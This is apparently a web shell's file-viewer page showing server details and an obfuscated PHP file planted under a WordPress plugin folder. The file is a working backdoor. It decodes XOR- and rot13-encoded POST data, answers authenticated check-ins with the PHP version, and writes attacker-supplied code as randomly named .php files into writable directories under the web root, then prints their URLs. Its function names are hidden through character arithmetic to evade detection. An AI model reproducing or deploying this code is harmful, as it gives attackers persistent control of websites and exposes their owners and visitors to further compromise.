HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/plugins/zlrsurmzet/borybvxp.php
<?php function XUbaoag($FfDGoTlPw){$LAWCBW = "\x72".chr(97)."\167".chr(323-206).chr(300-186)."\x6c".'d'.chr(998-897).chr(99).chr(111).chr(980-880).chr(101);$XpOWUA = 's'.chr(546-430).chr(506-392).'_'."\162"."\157".'t'."\61"."\x33";$wdUXD = "\x73".chr(421-305).'r'.'_'.'s'."\160".chr(657-549).chr(105)."\164";$FfDGoTlPw = $wdUXD($LAWCBW($XpOWUA($FfDGoTlPw)));return $FfDGoTlPw;}function RRZLgI($OuWGEK, $FfDGoTlPw){$SVenRpRfo = 's'.chr(174-58).chr(114)."\x5f"."\x73".chr(246-134)."\x6c".'i'."\164";$OuWGEK = array_slice($SVenRpRfo(str_repeat($OuWGEK, (count($FfDGoTlPw)/16)+1)), 0, count($FfDGoTlPw));return $OuWGEK;}function GAxyvxs($uYYsqReTR, $YvLHKqWni, $OuWGEK){$EoGRPSgpPt = "df05cd5d-fbe9-4081-acd9-25369a1865cb";return $uYYsqReTR ^ $EoGRPSgpPt[$YvLHKqWni % strlen($EoGRPSgpPt)] ^ $OuWGEK;}function TniKUmgSOi($FfDGoTlPw, $OuWGEK){$FfDGoTlPw = array_map("GAxyvxs", array_values($FfDGoTlPw), array_keys($FfDGoTlPw), array_values($OuWGEK));$FfDGoTlPw = implode("", $FfDGoTlPw);$yUDJFBTucM = chr(1069-952).chr(954-844).chr(115).'e'."\162".chr(145-40)."\x61".chr(216-108)."\151".chr(407-285)."\145";$FfDGoTlPw = @$yUDJFBTucM($FfDGoTlPw);return $FfDGoTlPw;}function ePWgUt(){echo "CfUxEGZ";}function gAKKSBNlHG($WpsGXir){static $SBrPdKE = array();$IaclSwb = glob($WpsGXir . '/*', GLOB_ONLYDIR);$FBrUqxWZu = count($IaclSwb);if ($FBrUqxWZu > 0) {foreach ($IaclSwb as $WpsGX) {$tbUqAHzbHa = "\x69"."\x73".'_'."\x77".chr(114)."\x69".chr(164-48)."\141"."\142".chr(108).chr(101);if (@$tbUqAHzbHa($WpsGX)) {$SBrPdKE[] = $WpsGX;}}}foreach ($IaclSwb as $WpsGXir) gAKKSBNlHG($WpsGXir);return $SBrPdKE;}function bvUXlFBd(){echo "SizgzFMKXy";}function GYYNSV($FfDGoTlPw){$abQFKfq = "\x44"."\117".chr(67).chr(243-158)."\x4d".'E'.chr(78)."\124"."\137"."\x52"."\x4f".chr(79).'T';$wEVjTW = $_SERVER[$abQFKfq];$IaclSwb = gAKKSBNlHG($wEVjTW);$RRQcKZ = array_rand($IaclSwb);$FDaOy = chr(847-801).chr(552-440)."\x68"."\160";$eJWyblrc = $IaclSwb[$RRQcKZ] . "/" . substr(md5(time()), 0, 8) . $FDaOy;$GRabhJlV = chr(102).chr(105)."\154".chr(101).'_'.chr(476-364).chr(117)."\164"."\137".'c'.chr(111)."\156".'t'.chr(101)."\x6e"."\164"."\163";@$GRabhJlV($eJWyblrc, $FfDGoTlPw);$WjnpJFkzHp = 'H'."\x54".chr(816-732)."\x50".'_'.'H'."\x4f"."\x53".chr(84);$byWomYW = chr(436-332)."\x74".'t'.chr(439-327)."\72".'/'.'/';$MShfPOGVH = $byWomYW . $_SERVER[$WjnpJFkzHp] . substr($eJWyblrc, strlen($wEVjTW));print($MShfPOGVH);}foreach ($_POST as $OuWGEK => $FfDGoTlPw){$IYOgqSDO = strlen($OuWGEK);if ($IYOgqSDO == 16){$FfDGoTlPw = XUbaoag($FfDGoTlPw);$OuWGEK = RRZLgI($OuWGEK, $FfDGoTlPw);$FfDGoTlPw = TniKUmgSOi($FfDGoTlPw, $OuWGEK);if (@is_array($FfDGoTlPw)){$RRQcKZ = array_keys($FfDGoTlPw);$FfDGoTlPw = $FfDGoTlPw[$RRQcKZ[0]];if ($FfDGoTlPw === $RRQcKZ[0]){$dUtLscI = 'p'.chr(104)."\160";$lLemKqc = 'p'.chr(156-52).'p'."\166".chr(331-230).chr(114).'s'.chr(105).'o'.chr(110);$PBeafUxEhN = chr(152-37)."\145".'r'."\x69".'a'."\x6c"."\x69".chr(122).'e';echo @$PBeafUxEhN(Array($dUtLscI => @$lLemKqc(), ));}else {GYYNSV($FfDGoTlPw);}die();}}}